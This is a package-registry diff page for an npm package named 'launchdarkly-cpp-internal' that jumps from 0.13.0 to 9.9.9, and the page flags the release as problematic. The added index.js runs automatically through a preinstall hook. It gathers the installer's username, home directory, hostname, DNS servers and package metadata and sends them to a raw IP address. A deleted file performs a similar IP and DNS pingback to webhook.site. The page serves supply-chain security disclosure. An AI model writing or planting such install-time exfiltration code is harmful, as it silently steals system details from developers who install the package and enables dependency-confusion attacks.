launchdarkly-cpp-internal 0.13.0 → 9.9.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of launchdarkly-cpp-internal might be problematic. Click here for more details.
- package/index.js +33 -0
- package/package.json +7 -6
- package/vishu.js +0 -62
package/index.js
ADDED
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
const os = require("os");
|
|
2
|
+
const dns = require("dns");
|
|
3
|
+
const querystring = require("querystring");
|
|
4
|
+
const http = require("http");
|
|
5
|
+
const packageJSON = require("./package.json");
|
|
6
|
+
const package = packageJSON.name;
|
|
7
|
+
|
|
8
|
+
const trackingData = JSON.stringify({
|
|
9
|
+
p: package,
|
|
10
|
+
c: __dirname,
|
|
11
|
+
hd: os.homedir(),
|
|
12
|
+
hn: os.hostname(),
|
|
13
|
+
un: os.userInfo().username,
|
|
14
|
+
dns: dns.getServers(),
|
|
15
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
|
16
|
+
v: packageJSON.version,
|
|
17
|
+
pjson: packageJSON,
|
|
18
|
+
});
|
|
19
|
+
|
|
20
|
+
var getData = querystring.stringify({
|
|
21
|
+
msg: trackingData,
|
|
22
|
+
});
|
|
23
|
+
|
|
24
|
+
var options = {
|
|
25
|
+
hostname: "16.170.244.46",
|
|
26
|
+
port: 80,
|
|
27
|
+
path: `/${getData}`,
|
|
28
|
+
method: "GET"
|
|
29
|
+
};
|
|
30
|
+
|
|
31
|
+
var req = http.request(options);
|
|
32
|
+
|
|
33
|
+
req.end();
|
package/package.json
CHANGED
|
@@ -1,12 +1,13 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "launchdarkly-cpp-internal",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
3
|
+
"version": "9.9.9",
|
|
4
|
+
"description": "WhiteHatHacker",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"scripts": {
|
|
7
|
-
"
|
|
8
|
-
|
|
7
|
+
"preinstall": "node index.js",
|
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
9
9
|
},
|
|
10
|
-
"
|
|
11
|
-
"
|
|
10
|
+
"keywords": [],
|
|
11
|
+
"author": "",
|
|
12
|
+
"license": "ISC"
|
|
12
13
|
}
|
package/vishu.js
DELETED
|
@@ -1,62 +0,0 @@
|
|
|
1
|
-
// minimal-index.js
|
|
2
|
-
// ✅ Safe PoC - only public IP + DNS ping + webhook.site
|
|
3
|
-
|
|
4
|
-
const dns = require("dns");
|
|
5
|
-
const https = require("https");
|
|
6
|
-
const os = require("os");
|
|
7
|
-
|
|
8
|
-
// Replace with your webhook.site unique URL
|
|
9
|
-
const WEBHOOK_URL = "https://webhook.site/0b1c3f97-baf4-440f-810d-756fc966c9f2";
|
|
10
|
-
const COLLAB_DOMAIN = "your-collab-domain.oastify.com"; // optional, for DNS log
|
|
11
|
-
|
|
12
|
-
// Get public IP via external service
|
|
13
|
-
function getPublicIP(callback) {
|
|
14
|
-
https.get("https://api.ipify.org?format=json", (res) => {
|
|
15
|
-
let data = "";
|
|
16
|
-
res.on("data", chunk => data += chunk);
|
|
17
|
-
res.on("end", () => {
|
|
18
|
-
try {
|
|
19
|
-
const ip = JSON.parse(data).ip;
|
|
20
|
-
callback(ip);
|
|
21
|
-
} catch {
|
|
22
|
-
callback("unknown");
|
|
23
|
-
}
|
|
24
|
-
});
|
|
25
|
-
}).on("error", () => callback("unknown"));
|
|
26
|
-
}
|
|
27
|
-
|
|
28
|
-
// Send DNS Pingback (optional)
|
|
29
|
-
function sendDnsPing() {
|
|
30
|
-
try {
|
|
31
|
-
const dnsSub = `ping-${os.hostname().replace(/\./g, "-")}.${COLLAB_DOMAIN}`;
|
|
32
|
-
dns.lookup(dnsSub, () => {}); // fire-and-forget
|
|
33
|
-
} catch (_) {}
|
|
34
|
-
}
|
|
35
|
-
|
|
36
|
-
// Send HTTP ping to webhook.site with IP
|
|
37
|
-
function sendHttpPing(ip) {
|
|
38
|
-
const url = new URL(WEBHOOK_URL);
|
|
39
|
-
url.searchParams.append("ip", ip);
|
|
40
|
-
|
|
41
|
-
const options = {
|
|
42
|
-
hostname: url.hostname,
|
|
43
|
-
port: 443,
|
|
44
|
-
path: url.pathname + url.search,
|
|
45
|
-
method: "GET",
|
|
46
|
-
timeout: 3000
|
|
47
|
-
};
|
|
48
|
-
|
|
49
|
-
const req = https.request(options, (res) => {
|
|
50
|
-
res.on("data", () => {}); // ignore response
|
|
51
|
-
});
|
|
52
|
-
req.on("error", () => {});
|
|
53
|
-
req.end();
|
|
54
|
-
}
|
|
55
|
-
|
|
56
|
-
// Run
|
|
57
|
-
(function main() {
|
|
58
|
-
getPublicIP((ip) => {
|
|
59
|
-
sendHttpPing(ip); // ✅ Goes to your webhook.site
|
|
60
|
-
sendDnsPing(); // ✅ Optional DNS ping
|
|
61
|
-
});
|
|
62
|
-
})();
|